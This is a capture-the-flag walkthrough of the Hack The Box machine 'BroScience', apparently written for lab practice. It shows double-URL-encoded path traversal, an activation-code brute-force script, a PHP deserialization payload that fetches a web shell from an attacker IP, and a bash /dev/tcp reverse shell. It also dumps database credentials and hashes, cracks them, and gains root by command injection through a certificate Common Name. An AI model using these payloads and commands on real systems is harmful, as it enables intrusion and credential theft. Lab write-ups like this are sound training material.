BroScience
Recon
HTTPs (443)
HTTP redirects to HTTPs. We have a PHP application which for some odd reason queries images from php file rather just including them (?)

../
gets detected as malicious, URL encoding is also detected as malicious, but double URL encoding goes through and we get to view files.

└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/db_connect.php'
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
passwd
is also blocked, but using double URL encoding bypasses the filter.
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/%252E%252E/%252E%252E/%252E%252E/etc/passw%2564' -s | grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/utils.php' -so utils.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/header.php' -so header.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/index.php' -so index.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/img.php' -so img.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/exercise.php' -so exercise.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/register.php' -so register.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/login.php' -so login.php
We can also sign up on website, but when logging in can't login because it's not activated yet.
When user is registered it should get activated, but in code we see it's TODO. Our objective is now to leak the activation code.

utils.php
contain the code to generate the activation token, but it's using time()
as random seed.
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
Initially I wanted to do python, but seed
function is weird in terms of how it works. Some conditions/statements/definitions need to be very specific to produce the desired output. Python vs PHP would probably produce very different outputs, so I just did PHP.
<?php
$options = [
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_PROXY => 'http://127.0.0.1:8080',
];
function http_request($url, $method = 'GET', $data = null, $options = []) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt_array($ch, $options);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
$response = curl_exec($ch);
if (curl_errno($ch)) { throw new Exception('Curl error: ' . curl_error($ch)); }
curl_close($ch);
return $response;
}
function generate_activation_code($time_) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($time_);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
function log_message($time_, $code, $status) { echo "[$time_ - " . date('Y-m-d H:i:s', $time_) . "] $code $status\n"; }
$URL = 'https://broscience.htb';
$USERNAME = bin2hex(random_bytes(5)) . '@broscience.htb';
echo "Created user: $USERNAME\n";
$register_data = [ 'username' => $USERNAME, 'password' => $USERNAME, 'email' => $USERNAME, 'password-confirm' => $USERNAME ];
$padding = 5;
$start = time();
log_message($start, 'Starting', '');
http_request("$URL/register.php", 'POST', $register_data, $options);
for ($time_ = $start - $padding; $time_ <= $start + $padding; $time_++) {
$code = generate_activation_code($time_); // Implement this function
$response = http_request("$URL/activate.php?code=$code", 'GET', null, $options);
if (strpos($response, 'Invalid activation code') !== false) {
log_message($time_, $code, 'Failed');
} else {
log_message($time_, $code, 'Success');
break;
}
}
└─$ php activate.php
Created user: 9e293cafd4@broscience.htb
[1733954584 - 2024-12-11 22:03:04] Starting
[1733954579 - 2024-12-11 22:02:59] oPUDRzvJeN6ylNf0CStDqeLsY1FOEVuN Failed
[1733954580 - 2024-12-11 22:03:00] llm67p8qMBHCvNwJosBt14sx858Urj50 Failed
[1733954581 - 2024-12-11 22:03:01] y7VA1W0JbKn1L4WpnbnEGBuGrChI5Kw7 Failed
[1733954582 - 2024-12-11 22:03:02] vCRcTCaMOZt0XZCzfkWfDTd5qQFlmqAn Failed
[1733954583 - 2024-12-11 22:03:03] m16QaNpGCcMigHzTygVvIqRDZ3s1Xzvr Success

└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/user.php' -so user.php
Nothing much in user, but utils.php
is vulnerable to deserialization attack
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
Create payload:
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }
}
$interface = new AvatarInterface();
$interface->tmp = 'http://10.10.14.113/shell.php';
$interface->imgPath = '/var/www/html/shell.php';
echo urlencode(base64_encode(serialize($interface)));
Note: The
Avatar
is usingfile_get_contents
. We can't write strings directly, but we can include URLs or local files.
There's paint bucket icon that triggers swap_theme.php
, edit the user-prefs
cookie and trigger the payload.

Access the shell

Classic HTB cleanup scripts deleting webshell 💀
Get reverse shell
www-data@broscience:…/www/html# bash -c '/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1'
(remote) www-data@broscience:/var/www/html$ PGPASSWORD='RangeOfMotion%777' psql -h localhost -U dbuser -d broscience -c '\l'
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
------------+----------+----------+-------------+-------------+-----------------------
broscience | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + postgres=CTc/postgres
(4 rows)
(remote) www-data@broscience:/var/www/html$ PGPASSWORD='RangeOfMotion%777' psql -h localhost -U dbuser -d broscience -c '\dt'
List of relations
Schema | Name | Type | Owner
--------+-----------+-------+----------
public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
(3 rows)
(remote) www-data@broscience:/var/www/html$ PGPASSWORD='RangeOfMotion%777' psql -h localhost -U dbuser -d broscience -c 'SELECT * FROM users;'
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)
(remote) www-data@broscience:/var/www/html$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
15657792073e8a843d4f91fc403454e1$NaCl
13edad4932da9dbb57d9cd15b66ed104$NaCl
bd3dad50e2d578ecba87d5fa15ca5f85$NaCl
a7eed23a7be6fe0d765197b1027453fe$NaCl
5d15340bded5b9395d5d14b9c21bc82b$NaCl
https://github.com/pmittaldev/john-the-ripper/blob/master/doc/DYNAMIC
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt --format=dynamic_4 .\hashes
iluvhorsesandgym (?)
Aaronthehottest (?)
2applesplus2apples (?)
SSH (22)
└─$ sshpass -p 'iluvhorsesandgym' ssh bill@broscience.htb
bill@broscience:~$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)
User.txt
bill@broscience:~$ cat user.txt
1a85e0d4a2728019c0f266ab2777898c
Privilege Escalation
bill@broscience:~$ sudo -l
Sorry, user bill may not run sudo on broscience.
Usually when you login the SSH has syntax highlighting, but right now it's blank

Upload pspy
└─$ sshpass -p 'iluvhorsesandgym' scp /opt/scripts/enum/pspy64 bill@broscience.htb:/tmp/pspy
bill@broscience:~$ chmod +x /tmp/pspy
bill@broscience:~$ /tmp/pspy
---
└─$ sshpass -p 'iluvhorsesandgym' ssh bill@broscience.htb
---
2024/12/12 02:46:52 CMD: UID=1000 PID=11156 | sshd: bill@pts/2
2024/12/12 02:46:52 CMD: UID=1000 PID=11157 | id -u
2024/12/12 02:48:01 CMD: UID=0 PID=11162 | /usr/sbin/CRON -f
2024/12/12 02:48:02 CMD: UID=0 PID=11163 | /bin/sh -c /root/cron.sh
2024/12/12 02:48:02 CMD: UID=0 PID=11166 | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2024/12/12 02:48:02 CMD: UID=0 PID=11165 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2024/12/12 02:48:02 CMD: UID=0 PID=11164 | /bin/bash /root/cron.sh
bill@broscience:~$ cat /opt/renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
bill@broscience:~/Certs$ openssl req -x509 -newkey rsa:2048 -keyout /dev/null -out ~/Certs/broscience.crt -days 1 -nodes
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(install -m4777 /bin/bash /tmp/rootbash)
Email Address []:
Login into SSH, wait for some time and rootbash
should appear.
bill@broscience:~/Certs$ /tmp/rootbash -p
rootbash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) groups=1000(bill)
Root.txt
rootbash-5.1# cat /root/root.txt
4c446b60a54e915a304df3620490e95b
Last updated